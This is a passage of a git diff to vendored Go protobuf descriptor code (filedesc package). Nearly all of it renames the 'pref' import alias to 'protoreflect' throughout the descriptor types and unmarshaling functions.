-func (xd *Extension) ProtoType(pref.FieldDescriptor) {} -func (xd *Extension) ProtoInternal(pragma.DoNotImplement) {} + return (xd.L0.ParentFile.L1.Syntax == protoreflect.Proto2 && xd.L1.Cardinality == protoreflect.Optional) || xd.lazyInit().IsProto3Optional +} +func (xd *Extension) IsPacked() bool { return xd.lazyInit().IsPacked } +func (xd *Extension) IsExtension() bool { return true } +func (xd *Extension) IsWeak() bool { return false } +func (xd *Extension) IsList() bool { return xd.Cardinality() == protoreflect.Repeated } +func (xd *Extension) IsMap() bool { return false } +func (xd *Extension) MapKey() protoreflect.FieldDescriptor { return nil } +func (xd *Extension) MapValue() protoreflect.FieldDescriptor { return nil } +func (xd *Extension) HasDefault() bool { return xd.lazyInit().Default.has } +func (xd *Extension) Default() protoreflect.Value { return xd.lazyInit().Default.get(xd) } +func (xd *Extension) DefaultEnumValue() protoreflect.EnumValueDescriptor { + return xd.lazyInit().Default.enum +} +func (xd *Extension) ContainingOneof() protoreflect.OneofDescriptor { return nil } +func (xd *Extension) ContainingMessage() protoreflect.MessageDescriptor { return xd.L1.Extendee } +func (xd *Extension) Enum() protoreflect.EnumDescriptor { return xd.lazyInit().Enum } +func (xd *Extension) Message() protoreflect.MessageDescriptor { return xd.lazyInit().Message } +func (xd *Extension) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, xd) } +func (xd *Extension) ProtoType(protoreflect.FieldDescriptor) {} +func (xd *Extension) ProtoInternal(pragma.DoNotImplement) {} func (xd *Extension) lazyInit() *ExtensionL2 { xd.L0.ParentFile.lazyInit() // implicitly initializes L2 return xd.L2 @@ -421,7 +423,7 @@ type ( } ServiceL1 struct{} ServiceL2 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage Methods Methods } @@ -430,48 +432,48 @@ type ( L1 MethodL1 } MethodL1 struct { - Options func() pref.ProtoMessage - Input pref.MessageDescriptor - Output pref.MessageDescriptor + Options func() protoreflect.ProtoMessage + Input protoreflect.MessageDescriptor + Output protoreflect.MessageDescriptor IsStreamingClient bool IsStreamingServer bool } ) -func (sd *Service) Options() pref.ProtoMessage { +func (sd *Service) Options() protoreflect.ProtoMessage { if f := sd.lazyInit().Options; f != nil { return f() } return descopts.Service } -func (sd *Service) Methods() pref.MethodDescriptors { return &sd.lazyInit().Methods } -func (sd *Service) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, sd) } -func (sd *Service) ProtoType(pref.ServiceDescriptor) {} -func (sd *Service) ProtoInternal(pragma.DoNotImplement) {} +func (sd *Service) Methods() protoreflect.MethodDescriptors { return &sd.lazyInit().Methods } +func (sd *Service) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, sd) } +func (sd *Service) ProtoType(protoreflect.ServiceDescriptor) {} +func (sd *Service) ProtoInternal(pragma.DoNotImplement) {} func (sd *Service) lazyInit() *ServiceL2 { sd.L0.ParentFile.lazyInit() // implicitly initializes L2 return sd.L2 } -func (md *Method) Options() pref.ProtoMessage { +func (md *Method) Options() protoreflect.ProtoMessage { if f := md.L1.Options; f != nil { return f() } return descopts.Method } -func (md *Method) Input() pref.MessageDescriptor { return md.L1.Input } -func (md *Method) Output() pref.MessageDescriptor { return md.L1.Output } -func (md *Method) IsStreamingClient() bool { return md.L1.IsStreamingClient } -func (md *Method) IsStreamingServer() bool { return md.L1.IsStreamingServer } -func (md *Method) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, md) } -func (md *Method) ProtoType(pref.MethodDescriptor) {} -func (md *Method) ProtoInternal(pragma.DoNotImplement) {} +func (md *Method) Input() protoreflect.MessageDescriptor { return md.L1.Input } +func (md *Method) Output() protoreflect.MessageDescriptor { return md.L1.Output } +func (md *Method) IsStreamingClient() bool { return md.L1.IsStreamingClient } +func (md *Method) IsStreamingServer() bool { return md.L1.IsStreamingServer } +func (md *Method) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, md) } +func (md *Method) ProtoType(protoreflect.MethodDescriptor) {} +func (md *Method) ProtoInternal(pragma.DoNotImplement) {} // Surrogate files are can be used to create standalone descriptors // where the syntax is only information derived from the parent file. var ( - SurrogateProto2 = &File{L1: FileL1{Syntax: pref.Proto2}, L2: &FileL2{}} - SurrogateProto3 = &File{L1: FileL1{Syntax: pref.Proto3}, L2: &FileL2{}} + SurrogateProto2 = &File{L1: FileL1{Syntax: protoreflect.Proto2}, L2: &FileL2{}} + SurrogateProto3 = &File{L1: FileL1{Syntax: protoreflect.Proto3}, L2: &FileL2{}} ) type ( @@ -479,24 +481,24 @@ type ( L0 BaseL0 } BaseL0 struct { - FullName pref.FullName // must be populated - ParentFile *File // must be populated - Parent pref.Descriptor + FullName protoreflect.FullName // must be populated + ParentFile *File // must be populated + Parent protoreflect.Descriptor Index int } ) -func (d *Base) Name() pref.Name { return d.L0.FullName.Name() } -func (d *Base) FullName() pref.FullName { return d.L0.FullName } -func (d *Base) ParentFile() pref.FileDescriptor { +func (d *Base) Name() protoreflect.Name { return d.L0.FullName.Name() } +func (d *Base) FullName() protoreflect.FullName { return d.L0.FullName } +func (d *Base) ParentFile() protoreflect.FileDescriptor { if d.L0.ParentFile == SurrogateProto2 || d.L0.ParentFile == SurrogateProto3 { return nil // surrogate files are not real parents } return d.L0.ParentFile } -func (d *Base) Parent() pref.Descriptor { return d.L0.Parent } +func (d *Base) Parent() protoreflect.Descriptor { return d.L0.Parent } func (d *Base) Index() int { return d.L0.Index } -func (d *Base) Syntax() pref.Syntax { return d.L0.ParentFile.Syntax() } +func (d *Base) Syntax() protoreflect.Syntax { return d.L0.ParentFile.Syntax() } func (d *Base) IsPlaceholder() bool { return false } func (d *Base) ProtoInternal(pragma.DoNotImplement) {} @@ -513,7 +515,7 @@ func (s *stringName) InitJSON(name string) { s.nameJSON = name } -func (s *stringName) lazyInit(fd pref.FieldDescriptor) *stringName { +func (s *stringName) lazyInit(fd protoreflect.FieldDescriptor) *stringName { s.once.Do(func() { if fd.IsExtension() { // For extensions, JSON and text are formatted the same way. @@ -533,7 +535,7 @@ func (s *stringName) lazyInit(fd pref.FieldDescriptor) *stringName { // Format the text name. s.nameText = string(fd.Name()) - if fd.Kind() == pref.GroupKind { + if fd.Kind() == protoreflect.GroupKind { s.nameText = string(fd.Message().Name()) } } @@ -541,10 +543,10 @@ func (s *stringName) lazyInit(fd pref.FieldDescriptor) *stringName { return s } -func (s *stringName) getJSON(fd pref.FieldDescriptor) string { return s.lazyInit(fd).nameJSON } -func (s *stringName) getText(fd pref.FieldDescriptor) string { return s.lazyInit(fd).nameText } +func (s *stringName) getJSON(fd protoreflect.FieldDescriptor) string { return s.lazyInit(fd).nameJSON } +func (s *stringName) getText(fd protoreflect.FieldDescriptor) string { return s.lazyInit(fd).nameText } -func DefaultValue(v pref.Value, ev pref.EnumValueDescriptor) defaultValue { +func DefaultValue(v protoreflect.Value, ev protoreflect.EnumValueDescriptor) defaultValue { dv := defaultValue{has: v.IsValid(), val: v, enum: ev} if b, ok := v.Interface().([]byte); ok { // Store a copy of the default bytes, so that we can detect @@ -554,9 +556,9 @@ func DefaultValue(v pref.Value, ev pref.EnumValueDescriptor) defaultValue { return dv } -func unmarshalDefault(b []byte, k pref.Kind, pf *File, ed pref.EnumDescriptor) defaultValue { - var evs pref.EnumValueDescriptors - if k == pref.EnumKind { +func unmarshalDefault(b []byte, k protoreflect.Kind, pf *File, ed protoreflect.EnumDescriptor) defaultValue { + var evs protoreflect.EnumValueDescriptors + if k == protoreflect.EnumKind { // If the enum is declared within the same file, be careful not to // blindly call the Values method, lest we bind ourselves in a deadlock. if e, ok := ed.(*Enum); ok && e.L0.ParentFile == pf { @@ -567,9 +569,9 @@ func unmarshalDefault(b []byte, k pref.Kind, pf *File, ed pref.EnumDescriptor) d // If we are unable to resolve the enum dependency, use a placeholder // enum value since we will not be able to parse the default value. - if ed.IsPlaceholder() && pref.Name(b).IsValid() { - v := pref.ValueOfEnum(0) - ev := PlaceholderEnumValue(ed.FullName().Parent().Append(pref.Name(b))) + if ed.IsPlaceholder() && protoreflect.Name(b).IsValid() { + v := protoreflect.ValueOfEnum(0) + ev := PlaceholderEnumValue(ed.FullName().Parent().Append(protoreflect.Name(b))) return DefaultValue(v, ev) } } @@ -583,41 +585,41 @@ func unmarshalDefault(b []byte, k pref.Kind, pf *File, ed pref.EnumDescriptor) d type defaultValue struct { has bool - val pref.Value - enum pref.EnumValueDescriptor + val protoreflect.Value + enum protoreflect.EnumValueDescriptor bytes []byte } -func (dv *defaultValue) get(fd pref.FieldDescriptor) pref.Value { +func (dv *defaultValue) get(fd protoreflect.FieldDescriptor) protoreflect.Value { // Return the zero value as the default if unpopulated. if !dv.has { - if fd.Cardinality() == pref.Repeated { - return pref.Value{} + if fd.Cardinality() == protoreflect.Repeated { + return protoreflect.Value{} } switch fd.Kind() { - case pref.BoolKind: - return pref.ValueOfBool(false) - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: - return pref.ValueOfInt32(0) - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: - return pref.ValueOfInt64(0) - case pref.Uint32Kind, pref.Fixed32Kind: - return pref.ValueOfUint32(0) - case pref.Uint64Kind, pref.Fixed64Kind: - return pref.ValueOfUint64(0) - case pref.FloatKind: - return pref.ValueOfFloat32(0) - case pref.DoubleKind: - return pref.ValueOfFloat64(0) - case pref.StringKind: - return pref.ValueOfString("") - case pref.BytesKind: - return pref.ValueOfBytes(nil) - case pref.EnumKind: + case protoreflect.BoolKind: + return protoreflect.ValueOfBool(false) + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: + return protoreflect.ValueOfInt32(0) + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: + return protoreflect.ValueOfInt64(0) + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: + return protoreflect.ValueOfUint32(0) + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: + return protoreflect.ValueOfUint64(0) + case protoreflect.FloatKind: + return protoreflect.ValueOfFloat32(0) + case protoreflect.DoubleKind: + return protoreflect.ValueOfFloat64(0) + case protoreflect.StringKind: + return protoreflect.ValueOfString("") + case protoreflect.BytesKind: + return protoreflect.ValueOfBytes(nil) + case protoreflect.EnumKind: if evs := fd.Enum().Values(); evs.Len() > 0 { - return pref.ValueOfEnum(evs.Get(0).Number()) + return protoreflect.ValueOfEnum(evs.Get(0).Number()) } - return pref.ValueOfEnum(0) + return protoreflect.ValueOfEnum(0) } } diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/desc_init.go b/vendor/google.golang.org/protobuf/internal/filedesc/desc_init.go index 66e1fee52..4a1584c9d 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/desc_init.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/desc_init.go @@ -10,7 +10,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/internal/strs" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // fileRaw is a data struct used when initializing a file descriptor from @@ -95,7 +95,7 @@ func (fd *File) unmarshalSeed(b []byte) { sb := getBuilder() defer putBuilder(sb) - var prevField pref.FieldNumber + var prevField protoreflect.FieldNumber var numEnums, numMessages, numExtensions, numServices int var posEnums, posMessages, posExtensions, posServices int b0 := b @@ -110,16 +110,16 @@ func (fd *File) unmarshalSeed(b []byte) { case genid.FileDescriptorProto_Syntax_field_number: switch string(v) { case "proto2": - fd.L1.Syntax = pref.Proto2 + fd.L1.Syntax = protoreflect.Proto2 case "proto3": - fd.L1.Syntax = pref.Proto3 + fd.L1.Syntax = protoreflect.Proto3 default: panic("invalid syntax") } case genid.FileDescriptorProto_Name_field_number: fd.L1.Path = sb.MakeString(v) case genid.FileDescriptorProto_Package_field_number: - fd.L1.Package = pref.FullName(sb.MakeString(v)) + fd.L1.Package = protoreflect.FullName(sb.MakeString(v)) case genid.FileDescriptorProto_EnumType_field_number: if prevField != genid.FileDescriptorProto_EnumType_field_number { if numEnums > 0 { @@ -163,7 +163,7 @@ func (fd *File) unmarshalSeed(b []byte) { // If syntax is missing, it is assumed to be proto2. if fd.L1.Syntax == 0 { - fd.L1.Syntax = pref.Proto2 + fd.L1.Syntax = protoreflect.Proto2 } // Must allocate all declarations before parsing each descriptor type @@ -219,7 +219,7 @@ func (fd *File) unmarshalSeed(b []byte) { } } -func (ed *Enum) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (ed *Enum) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { ed.L0.ParentFile = pf ed.L0.Parent = pd ed.L0.Index = i @@ -271,12 +271,12 @@ func (ed *Enum) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref.Desc } } -func (md *Message) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (md *Message) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { md.L0.ParentFile = pf md.L0.Parent = pd md.L0.Index = i - var prevField pref.FieldNumber + var prevField protoreflect.FieldNumber var numEnums, numMessages, numExtensions int var posEnums, posMessages, posExtensions int b0 := b @@ -387,7 +387,7 @@ func (md *Message) unmarshalSeedOptions(b []byte) { } } -func (xd *Extension) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (xd *Extension) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { xd.L0.ParentFile = pf xd.L0.Parent = pd xd.L0.Index = i @@ -401,11 +401,11 @@ func (xd *Extension) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref b = b[m:] switch num { case genid.FieldDescriptorProto_Number_field_number: - xd.L1.Number = pref.FieldNumber(v) + xd.L1.Number = protoreflect.FieldNumber(v) case genid.FieldDescriptorProto_Label_field_number: - xd.L1.Cardinality = pref.Cardinality(v) + xd.L1.Cardinality = protoreflect.Cardinality(v) case genid.FieldDescriptorProto_Type_field_number: - xd.L1.Kind = pref.Kind(v) + xd.L1.Kind = protoreflect.Kind(v) } case protowire.BytesType: v, m := protowire.ConsumeBytes(b) @@ -423,7 +423,7 @@ func (xd *Extension) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref } } -func (sd *Service) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (sd *Service) unmarshalSeed(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { sd.L0.ParentFile = pf sd.L0.Parent = pd sd.L0.Index = i @@ -459,13 +459,13 @@ func putBuilder(b *strs.Builder) { // makeFullName converts b to a protoreflect.FullName, // where b must start with a leading dot. -func makeFullName(sb *strs.Builder, b []byte) pref.FullName { +func makeFullName(sb *strs.Builder, b []byte) protoreflect.FullName { if len(b) == 0 || b[0] != '.' { panic("name reference must be fully qualified") } - return pref.FullName(sb.MakeString(b[1:])) + return protoreflect.FullName(sb.MakeString(b[1:])) } -func appendFullName(sb *strs.Builder, prefix pref.FullName, suffix []byte) pref.FullName { - return sb.AppendFullName(prefix, pref.Name(strs.UnsafeString(suffix))) +func appendFullName(sb *strs.Builder, prefix protoreflect.FullName, suffix []byte) protoreflect.FullName { + return sb.AppendFullName(prefix, protoreflect.Name(strs.UnsafeString(suffix))) } diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/desc_lazy.go b/vendor/google.golang.org/protobuf/internal/filedesc/desc_lazy.go index 198451e3e..736a19a75 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/desc_lazy.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/desc_lazy.go @@ -13,7 +13,7 @@ import ( "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) func (fd *File) lazyRawInit() { @@ -39,10 +39,10 @@ func (file *File) resolveMessages() { // Resolve message field dependency. switch fd.L1.Kind { - case pref.EnumKind: + case protoreflect.EnumKind: fd.L1.Enum = file.resolveEnumDependency(fd.L1.Enum, listFieldDeps, depIdx) depIdx++ - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: fd.L1.Message = file.resolveMessageDependency(fd.L1.Message, listFieldDeps, depIdx) depIdx++ } @@ -62,10 +62,10 @@ func (file *File) resolveExtensions() { // Resolve extension field dependency. switch xd.L1.Kind { - case pref.EnumKind: + case protoreflect.EnumKind: xd.L2.Enum = file.resolveEnumDependency(xd.L2.Enum, listExtDeps, depIdx) depIdx++ - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: xd.L2.Message = file.resolveMessageDependency(xd.L2.Message, listExtDeps, depIdx) depIdx++ } @@ -92,7 +92,7 @@ func (file *File) resolveServices() { } } -func (file *File) resolveEnumDependency(ed pref.EnumDescriptor, i, j int32) pref.EnumDescriptor { +func (file *File) resolveEnumDependency(ed protoreflect.EnumDescriptor, i, j int32) protoreflect.EnumDescriptor { r := file.builder.FileRegistry if r, ok := r.(resolverByIndex); ok { if ed2 := r.FindEnumByIndex(i, j, file.allEnums, file.allMessages); ed2 != nil { @@ -105,12 +105,12 @@ func (file *File) resolveEnumDependency(ed pref.EnumDescriptor, i, j int32) pref } } if d, _ := r.FindDescriptorByName(ed.FullName()); d != nil { - return d.(pref.EnumDescriptor) + return d.(protoreflect.EnumDescriptor) } return ed } -func (file *File) resolveMessageDependency(md pref.MessageDescriptor, i, j int32) pref.MessageDescriptor { +func (file *File) resolveMessageDependency(md protoreflect.MessageDescriptor, i, j int32) protoreflect.MessageDescriptor { r := file.builder.FileRegistry if r, ok := r.(resolverByIndex); ok { if md2 := r.FindMessageByIndex(i, j, file.allEnums, file.allMessages); md2 != nil { @@ -123,7 +123,7 @@ func (file *File) resolveMessageDependency(md pref.MessageDescriptor, i, j int32 } } if d, _ := r.FindDescriptorByName(md.FullName()); d != nil { - return d.(pref.MessageDescriptor) + return d.(protoreflect.MessageDescriptor) } return md } @@ -158,7 +158,7 @@ func (fd *File) unmarshalFull(b []byte) { if imp == nil { imp = PlaceholderFile(path) } - fd.L2.Imports = append(fd.L2.Imports, pref.FileImport{FileDescriptor: imp}) + fd.L2.Imports = append(fd.L2.Imports, protoreflect.FileImport{FileDescriptor: imp}) case genid.FileDescriptorProto_EnumType_field_number: fd.L1.Enums.List[enumIdx].unmarshalFull(v, sb) enumIdx++ @@ -199,7 +199,7 @@ func (ed *Enum) unmarshalFull(b []byte, sb *strs.Builder) { case genid.EnumDescriptorProto_Value_field_number: rawValues = append(rawValues, v) case genid.EnumDescriptorProto_ReservedName_field_number: - ed.L2.ReservedNames.List = append(ed.L2.ReservedNames.List, pref.Name(sb.MakeString(v))) + ed.L2.ReservedNames.List = append(ed.L2.ReservedNames.List, protoreflect.Name(sb.MakeString(v))) case genid.EnumDescriptorProto_ReservedRange_field_number: ed.L2.ReservedRanges.List = append(ed.L2.ReservedRanges.List, unmarshalEnumReservedRange(v)) case genid.EnumDescriptorProto_Options_field_number: @@ -219,7 +219,7 @@ func (ed *Enum) unmarshalFull(b []byte, sb *strs.Builder) { ed.L2.Options = ed.L0.ParentFile.builder.optionsUnmarshaler(&descopts.Enum, rawOptions) } -func unmarshalEnumReservedRange(b []byte) (r [2]pref.EnumNumber) { +func unmarshalEnumReservedRange(b []byte) (r [2]protoreflect.EnumNumber) { for len(b) > 0 { num, typ, n := protowire.ConsumeTag(b) b = b[n:] @@ -229,9 +229,9 @@ func unmarshalEnumReservedRange(b []byte) (r [2]pref.EnumNumber) { b = b[m:] switch num { case genid.EnumDescriptorProto_EnumReservedRange_Start_field_number: - r[0] = pref.EnumNumber(v) + r[0] = protoreflect.EnumNumber(v) case genid.EnumDescriptorProto_EnumReservedRange_End_field_number: - r[1] = pref.EnumNumber(v) + r[1] = protoreflect.EnumNumber(v) } default: m := protowire.ConsumeFieldValue(num, typ, b) @@ -241,7 +241,7 @@ func unmarshalEnumReservedRange(b []byte) (r [2]pref.EnumNumber) { return r } -func (vd *EnumValue) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (vd *EnumValue) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { vd.L0.ParentFile = pf vd.L0.Parent = pd vd.L0.Index = i @@ -256,7 +256,7 @@ func (vd *EnumValue) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref b = b[m:] switch num { case genid.EnumValueDescriptorProto_Number_field_number: - vd.L1.Number = pref.EnumNumber(v) + vd.L1.Number = protoreflect.EnumNumber(v) } case protowire.BytesType: v, m := protowire.ConsumeBytes(b) @@ -294,7 +294,7 @@ func (md *Message) unmarshalFull(b []byte, sb *strs.Builder) { case genid.DescriptorProto_OneofDecl_field_number: rawOneofs = append(rawOneofs, v) case genid.DescriptorProto_ReservedName_field_number: - md.L2.ReservedNames.List = append(md.L2.ReservedNames.List, pref.Name(sb.MakeString(v))) + md.L2.ReservedNames.List = append(md.L2.ReservedNames.List, protoreflect.Name(sb.MakeString(v))) case genid.DescriptorProto_ReservedRange_field_number: md.L2.ReservedRanges.List = append(md.L2.ReservedRanges.List, unmarshalMessageReservedRange(v)) case genid.DescriptorProto_ExtensionRange_field_number: @@ -326,7 +326,7 @@ func (md *Message) unmarshalFull(b []byte, sb *strs.Builder) { for i, b := range rawFields { fd := &md.L2.Fields.List[i] fd.unmarshalFull(b, sb, md.L0.ParentFile, md, i) - if fd.L1.Cardinality == pref.Required { + if fd.L1.Cardinality == protoreflect.Required { md.L2.RequiredNumbers.List = append(md.L2.RequiredNumbers.List, fd.L1.Number) } } @@ -359,7 +359,7 @@ func (md *Message) unmarshalOptions(b []byte) { } } -func unmarshalMessageReservedRange(b []byte) (r [2]pref.FieldNumber) { +func unmarshalMessageReservedRange(b []byte) (r [2]protoreflect.FieldNumber) { for len(b) > 0 { num, typ, n := protowire.ConsumeTag(b) b = b[n:] @@ -369,9 +369,9 @@ func unmarshalMessageReservedRange(b []byte) (r [2]pref.FieldNumber) { b = b[m:] switch num { case genid.DescriptorProto_ReservedRange_Start_field_number: - r[0] = pref.FieldNumber(v) + r[0] = protoreflect.FieldNumber(v) case genid.DescriptorProto_ReservedRange_End_field_number: - r[1] = pref.FieldNumber(v) + r[1] = protoreflect.FieldNumber(v) } default: m := protowire.ConsumeFieldValue(num, typ, b) @@ -381,7 +381,7 @@ func unmarshalMessageReservedRange(b []byte) (r [2]pref.FieldNumber) { return r } -func unmarshalMessageExtensionRange(b []byte) (r [2]pref.FieldNumber, rawOptions []byte) { +func unmarshalMessageExtensionRange(b []byte) (r [2]protoreflect.FieldNumber, rawOptions []byte) { for len(b) > 0 { num, typ, n := protowire.ConsumeTag(b) b = b[n:] @@ -391,9 +391,9 @@ func unmarshalMessageExtensionRange(b []byte) (r [2]pref.FieldNumber, rawOptions b = b[m:] switch num { case genid.DescriptorProto_ExtensionRange_Start_field_number: - r[0] = pref.FieldNumber(v) + r[0] = protoreflect.FieldNumber(v) case genid.DescriptorProto_ExtensionRange_End_field_number: - r[1] = pref.FieldNumber(v) + r[1] = protoreflect.FieldNumber(v) } case protowire.BytesType: v, m := protowire.ConsumeBytes(b) @@ -410,7 +410,7 @@ func unmarshalMessageExtensionRange(b []byte) (r [2]pref.FieldNumber, rawOptions return r, rawOptions } -func (fd *Field) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (fd *Field) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { fd.L0.ParentFile = pf fd.L0.Parent = pd fd.L0.Index = i @@ -426,11 +426,11 @@ func (fd *Field) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Des b = b[m:] switch num { case genid.FieldDescriptorProto_Number_field_number: - fd.L1.Number = pref.FieldNumber(v) + fd.L1.Number = protoreflect.FieldNumber(v) case genid.FieldDescriptorProto_Label_field_number: - fd.L1.Cardinality = pref.Cardinality(v) + fd.L1.Cardinality = protoreflect.Cardinality(v) case genid.FieldDescriptorProto_Type_field_number: - fd.L1.Kind = pref.Kind(v) + fd.L1.Kind = protoreflect.Kind(v) case genid.FieldDescriptorProto_OneofIndex_field_number: // In Message.unmarshalFull, we allocate slices for both // the field and oneof descriptors before unmarshaling either @@ -453,7 +453,7 @@ func (fd *Field) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Des case genid.FieldDescriptorProto_JsonName_field_number: fd.L1.StringName.InitJSON(sb.MakeString(v)) case genid.FieldDescriptorProto_DefaultValue_field_number: - fd.L1.Default.val = pref.ValueOfBytes(v) // temporarily store as bytes; later resolved in resolveMessages + fd.L1.Default.val = protoreflect.ValueOfBytes(v) // temporarily store as bytes; later resolved in resolveMessages case genid.FieldDescriptorProto_TypeName_field_number: rawTypeName = v case genid.FieldDescriptorProto_Options_field_number: @@ -468,9 +468,9 @@ func (fd *Field) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Des if rawTypeName != nil { name := makeFullName(sb, rawTypeName) switch fd.L1.Kind { - case pref.EnumKind: + case protoreflect.EnumKind: fd.L1.Enum = PlaceholderEnum(name) - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: fd.L1.Message = PlaceholderMessage(name) } } @@ -504,7 +504,7 @@ func (fd *Field) unmarshalOptions(b []byte) { } } -func (od *Oneof) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (od *Oneof) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { od.L0.ParentFile = pf od.L0.Parent = pd od.L0.Index = i @@ -553,7 +553,7 @@ func (xd *Extension) unmarshalFull(b []byte, sb *strs.Builder) { case genid.FieldDescriptorProto_JsonName_field_number: xd.L2.StringName.InitJSON(sb.MakeString(v)) case genid.FieldDescriptorProto_DefaultValue_field_number: - xd.L2.Default.val = pref.ValueOfBytes(v) // temporarily store as bytes; later resolved in resolveExtensions + xd.L2.Default.val = protoreflect.ValueOfBytes(v) // temporarily store as bytes; later resolved in resolveExtensions case genid.FieldDescriptorProto_TypeName_field_number: rawTypeName = v case genid.FieldDescriptorProto_Options_field_number: @@ -568,9 +568,9 @@ func (xd *Extension) unmarshalFull(b []byte, sb *strs.Builder) { if rawTypeName != nil { name := makeFullName(sb, rawTypeName) switch xd.L1.Kind { - case pref.EnumKind: + case protoreflect.EnumKind: xd.L2.Enum = PlaceholderEnum(name) - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: xd.L2.Message = PlaceholderMessage(name) } } @@ -627,7 +627,7 @@ func (sd *Service) unmarshalFull(b []byte, sb *strs.Builder) { sd.L2.Options = sd.L0.ParentFile.builder.optionsUnmarshaler(&descopts.Service, rawOptions) } -func (md *Method) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd pref.Descriptor, i int) { +func (md *Method) unmarshalFull(b []byte, sb *strs.Builder, pf *File, pd protoreflect.Descriptor, i int) { md.L0.ParentFile = pf md.L0.Parent = pd md.L0.Index = i @@ -680,18 +680,18 @@ func appendOptions(dst, src []byte) []byte { // // The type of message to unmarshal to is passed as a pointer since the // vars in descopts may not yet be populated at the time this function is called. -func (db *Builder) optionsUnmarshaler(p *pref.ProtoMessage, b []byte) func() pref.ProtoMessage { +func (db *Builder) optionsUnmarshaler(p *protoreflect.ProtoMessage, b []byte) func() protoreflect.ProtoMessage { if b == nil { return nil } - var opts pref.ProtoMessage + var opts protoreflect.ProtoMessage var once sync.Once - return func() pref.ProtoMessage { + return func() protoreflect.ProtoMessage { once.Do(func() { if *p == nil { panic("Descriptor.Options called without importing the descriptor package") } - opts = reflect.New(reflect.TypeOf(*p).Elem()).Interface().(pref.ProtoMessage) + opts = reflect.New(reflect.TypeOf(*p).Elem()).Interface().(protoreflect.ProtoMessage) if err := (proto.UnmarshalOptions{ AllowPartial: true, Resolver: db.TypeResolver, diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/desc_list.go b/vendor/google.golang.org/protobuf/internal/filedesc/desc_list.go index aa294fff9..e3b6587da 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/desc_list.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/desc_list.go @@ -17,31 +17,30 @@ import ( "google.golang.org/protobuf/internal/errors" "google.golang.org/protobuf/internal/pragma" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" ) -type FileImports []pref.FileImport +type FileImports []protoreflect.FileImport func (p *FileImports) Len() int { return len(*p) } -func (p *FileImports) Get(i int) pref.FileImport { return (*p)[i] } +func (p *FileImports) Get(i int) protoreflect.FileImport { return (*p)[i] } func (p *FileImports) Format(s fmt.State, r rune) { descfmt.FormatList(s, r, p) } func (p *FileImports) ProtoInternal(pragma.DoNotImplement) {} type Names struct { - List []pref.Name + List []protoreflect.Name once sync.Once - has map[pref.Name]int // protected by once + has map[protoreflect.Name]int // protected by once } func (p *Names) Len() int { return len(p.List) } -func (p *Names) Get(i int) pref.Name { return p.List[i] } -func (p *Names) Has(s pref.Name) bool { return p.lazyInit().has[s] > 0 } +func (p *Names) Get(i int) protoreflect.Name { return p.List[i] } +func (p *Names) Has(s protoreflect.Name) bool { return p.lazyInit().has[s] > 0 } func (p *Names) Format(s fmt.State, r rune) { descfmt.FormatList(s, r, p) } func (p *Names) ProtoInternal(pragma.DoNotImplement) {} func (p *Names) lazyInit() *Names { 